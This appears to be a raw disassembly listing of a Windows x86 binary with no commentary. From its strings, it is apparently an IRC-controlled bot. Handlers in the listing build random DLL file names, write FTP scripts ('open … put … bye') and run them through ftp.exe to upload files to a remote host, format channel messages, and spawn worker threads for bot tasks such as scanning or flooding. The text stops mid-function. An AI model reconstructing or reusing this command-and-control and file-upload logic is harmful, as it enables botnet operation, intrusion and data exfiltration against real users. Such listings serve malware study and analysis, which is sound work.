--------------------------------------------------------------------------- loc_40725E: ; CODE XREF: sub_401ACD+577Dj nop call near ptr 26B0857h push eax push offset unk_42ADE8 loc_40726A: ; CODE XREF: sub_401ACD+4E32j ; sub_401ACD+62BFj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407279: ; CODE XREF: sub_401ACD+4E16j ; sub_401ACD+5785j ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push [ebp+var_4] loc_407286: ; CODE XREF: sub_401ACD+22DFj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A9 ; --------------------------------------------------------------------------- loc_407299: ; CODE XREF: sub_401ACD+4F99j ; sub_401ACD+4FB0j push 0Bh call sub_40B33F push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407455 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ADA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h loc_4072E9: ; CODE XREF: sub_401ACD+526Ej ; sub_401ACD+563Aj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 push 4 push esi call sub_416909 pop ecx test eax, eax pop ecx jnz short loc_407325 push esi push offset unk_42AD80 jmp loc_408CDC ; --------------------------------------------------------------------------- loc_407325: ; CODE XREF: sub_401ACD+584Bj nop call near ptr 26C066Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB5C0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F4 push offset unk_42AD10 jmp short loc_4073F9 ; --------------------------------------------------------------------------- loc_4073F4: ; CODE XREF: sub_401ACD+591Ej push offset unk_42ACE0 loc_4073F9: ; CODE XREF: sub_401ACD+5925j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407422 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_407422: ; CODE XREF: sub_401ACD+5937j lea eax, [ebp+var_2C4] push eax call sub_4151AD loc_40742E: ; CODE XREF: sub_401ACD+5986j lea eax, [ebp+var_2E58] push 4 push eax call sub_416909 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742E ; --------------------------------------------------------------------------- loc_407455: ; CODE XREF: sub_401ACD+57E6j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748E push 5 pop eax mov [ebp+var_36C], eax loc_40748E: ; CODE XREF: sub_401ACD+59B6j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749B mov [ebp+var_36C], ecx loc_40749B: ; CODE XREF: sub_401ACD+59C6j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BD mov [ebp+var_368], eax loc_4074BD: ; CODE XREF: sub_401ACD+59E8j or [ebp+var_354], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+arg_20], ebx jz short loc_40750C mov edi, offset dword_431B00 loc_4074D4: ; CODE XREF: sub_401ACD+5A21j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F2 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D4 jmp short loc_40750C ; --------------------------------------------------------------------------- loc_4074F2: ; CODE XREF: sub_401ACD+5A17j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_370], ecx loc_40750C: ; CODE XREF: sub_401ACD+5A00j ; sub_401ACD+5A23j cmp [ebp+var_370], ebx jnz short loc_40751E push offset unk_42ACAC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40751E: ; CODE XREF: sub_401ACD+5A45j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407559 cmp byte ptr [edi], 23h jz short loc_407559 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407633 ; --------------------------------------------------------------------------- loc_407559: ; CODE XREF: sub_401ACD+5A5Aj ; sub_401ACD+5A5Fj cmp [ebp+var_8FF], bl jnz short loc_40757B cmp [ebp+var_8FE], bl jnz short loc_40757B cmp [ebp+var_8EE], bl jnz short loc_40757B push offset unk_42AC78 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40757B: ; CODE XREF: sub_401ACD+5A92j ; sub_401ACD+5A9Aj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB5F8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB6E0 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762D xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407621 loc_4075FF: ; CODE XREF: sub_401ACD+5B52j cmp eax, ebx jz short loc_407621 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FF loc_407621: ; CODE XREF: sub_401ACD+5B30j ; sub_401ACD+5B34j mov [ebp+var_344], 1 jmp short loc_407633 ; --------------------------------------------------------------------------- loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj mov [ebp+var_344], ebx loc_407633: ; CODE XREF: sub_401ACD+5A87j ; sub_401ACD+5B5Ej mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407684 loc_407671: ; CODE XREF: sub_401ACD+5BDAj push esi loc_407672: ; CODE XREF: sub_401ACD+5BC4j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AF ; --------------------------------------------------------------------------- loc_407684: ; CODE XREF: sub_401ACD+5BA2j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407693 cmp byte ptr [eax], 23h jnz short loc_407693 push eax jmp short loc_407672 ; --------------------------------------------------------------------------- loc_407693: ; CODE XREF: sub_401ACD+5BBCj ; sub_401ACD+5BC1j mov esi, offset aF ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407671 mov [ebp+var_3F4], bl loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C1 mov eax, offset aSequential ; "Sequential" loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AC10 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33D push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40774F loc_407739: ; CODE XREF: sub_401ACD+5C80j cmp [ebp+var_340], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_407739 ; --------------------------------------------------------------------------- loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj call near ptr 26B0857h nop push eax push offset unk_42ABD8 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407760: ; CODE XREF: sub_401ACD+4F6Bj ; sub_401ACD+4F82j push [ebp+arg_10] call sub_40AAFA push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB6E0 push eax lea eax, [ebp+var_2C4] push offset unk_42AB88 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset word_40C75A push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407855 loc_40783F: ; CODE XREF: sub_401ACD+5D86j cmp [ebp+var_4D0], ebx jnz loc_403DA1 push 32h nop call near ptr 26A0F44h jmp short loc_40783F ; --------------------------------------------------------------------------- loc_407855: ; CODE XREF: sub_401ACD+5D70j nop call near ptr 26B0857h push eax push offset unk_42AB4C jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407866: ; CODE XREF: sub_401ACD+4F2Ej ; sub_401ACD+4F45j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42AB40 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409855 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A73 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A36 ; --------------------------------------------------------------------------- loc_40795E: ; CODE XREF: sub_401ACD+4F00j ; sub_401ACD+4F17j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409855 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A73 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 28h jmp loc_409855 ; --------------------------------------------------------------------------- loc_407A63: ; CODE XREF: sub_401ACD+4ED2j ; sub_401ACD+4EE9j push [ebp+arg_10] call dword_4CB694 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB6E0 push eax lea eax, [ebp+var_2C4] push offset unk_42AAE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset byte_40C669 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407B45 loc_407B2F: ; CODE XREF: sub_401ACD+6076j cmp [ebp+var_670], ebx jnz loc_403DA1 push 32h call near ptr 26A0F44h nop jmp short loc_407B2F ; --------------------------------------------------------------------------- loc_407B45: ; CODE XREF: sub_401ACD+6060j nop call near ptr 26B0857h push eax push offset unk_42ABD8 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407B56: ; CODE XREF: sub_401ACD+4EA4j ; sub_401ACD+4EBBj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AAA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AB push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407C42 loc_407C2C: ; CODE XREF: sub_401ACD+6173j cmp [ebp+var_1118], ebx jnz loc_403DA1 push 32h nop call near ptr 26A0F44h jmp short loc_407C2C ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_401ACD+615Dj call near ptr 26B0857h nop push eax push offset unk_42AA64 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407C53: ; CODE XREF: sub_401ACD+4E76j ; sub_401ACD+4E8Dj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB2 ; --------------------------------------------------------------------------- loc_407CAC: ; CODE XREF: sub_401ACD+61C9j mov [ebp+var_2668], ebx loc_407CB2: ; CODE XREF: sub_401ACD+61DDj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC9 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCF ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_401ACD+61EBj mov [ebp+var_266C], ebx loc_407CCF: ; CODE XREF: sub_401ACD+61FAj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163FA push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407D80 loc_407D6A: ; CODE XREF: sub_401ACD+62B1j cmp [ebp+var_2658], ebx jnz loc_407279 push 32h call near ptr 26A0F44h nop jmp short loc_407D6A ; --------------------------------------------------------------------------- loc_407D80: ; CODE XREF: sub_401ACD+629Bj call near ptr 26B0857h nop push eax push offset unk_42A9F8 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407D91: ; CODE XREF: sub_401ACD+4E48j ; sub_401ACD+4E5Fj push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A9BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset word_414A92 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407E68 loc_407E52: ; CODE XREF: sub_401ACD+6399j cmp [ebp+var_3284], ebx jnz loc_407279 push 32h nop call near ptr 26A0F44h jmp short loc_407E52 ; --------------------------------------------------------------------------- loc_407E68: ; CODE XREF: sub_401ACD+6383j call near ptr 26B0857h nop push eax push offset unk_42A984 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj ; sub_401ACD+4D32j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A954 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset byte_4137CD push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407F50 loc_407F3A: ; CODE XREF: sub_401ACD+6481j cmp [ebp+var_2E5C], ebx jnz loc_407279 push 32h nop call near ptr 26A0F44h jmp short loc_407F3A ; --------------------------------------------------------------------------- loc_407F50: ; CODE XREF: sub_401ACD+646Bj nop call near ptr 26B0857h push eax push offset unk_42A91C jmp loc_40726A ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset dword_412A54 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408049 loc_408033: ; CODE XREF: sub_401ACD+657Aj cmp [ebp+var_3A5C], ebx jnz loc_407279 push 32h nop call near ptr 26A0F44h jmp short loc_408033 ; --------------------------------------------------------------------------- loc_408049: ; CODE XREF: sub_401ACD+6564j nop call near ptr 26B0857h push eax push offset unk_42A8B4 jmp loc_40726A ; --------------------------------------------------------------------------- loc_40805A: ; CODE XREF: sub_401ACD+4BC4j ; sub_401ACD+4BDBj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A5 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A5: ; CODE XREF: sub_401ACD+65C4j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408131 loc_40811B: ; CODE XREF: sub_401ACD+6662j cmp [ebp+var_161C], ebx jnz loc_406CDF push 32h call near ptr 26A0F44h nop jmp short loc_40811B ; --------------------------------------------------------------------------- loc_408131: ; CODE XREF: sub_401ACD+664Cj nop call near ptr 26B0857h push eax push offset dword_42A848 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408142: ; CODE XREF: sub_401ACD+4B84j ; sub_401ACD+4B9Bj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408235 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A81C push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset word_412E9E push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408224 loc_408212: ; CODE XREF: sub_401ACD+6755j cmp [ebp+var_1D54], ebx jnz short loc_40828C push 32h call near ptr 26A0F44h nop jmp short loc_408212 ; --------------------------------------------------------------------------- loc_408224: ; CODE XREF: sub_401ACD+6743j nop call near ptr 26B0857h push eax push offset unk_42A7E4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_408235: ; CODE XREF: sub_401ACD+6684j push offset unk_42A7AC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40823F: ; CODE XREF: sub_401ACD+4B56j ; sub_401ACD+4B6Dj push edi push [ebp+arg_10] nop call near ptr 26D0C79h test eax, eax jz short loc_40826C push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A788 push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828C ; --------------------------------------------------------------------------- loc_40826C: ; CODE XREF: sub_401ACD+677Ej push offset dword_42A77C call sub_41814D pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408289: ; CODE XREF: sub_401ACD+2F2Bj ; sub_401ACD+5570j add esp, 0Ch loc_40828C: ; CODE XREF: sub_401ACD+2137j ; sub_401ACD+2ECDj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A9: ; CODE XREF: sub_401ACD+57C7j call sub_409A73 add esp, 14h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4082B6: ; CODE XREF: sub_401ACD+4B28j ; sub_401ACD+4B3Fj push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082F0 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082F0 push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082F0: ; CODE XREF: sub_401ACD+6803j ; sub_401ACD+6812j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A74C lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset word_416CAE push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4083A2 loc_408390: ; CODE XREF: sub_401ACD+68D3j cmp [ebp+var_3CF0], ebx jnz short loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_408390 ; --------------------------------------------------------------------------- loc_4083A2: ; CODE XREF: sub_401ACD+68C1j nop call near ptr 26B0857h push eax push offset unk_42A710 loc_4083AE: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BD: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj ; sub_401ACD+4B11j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax 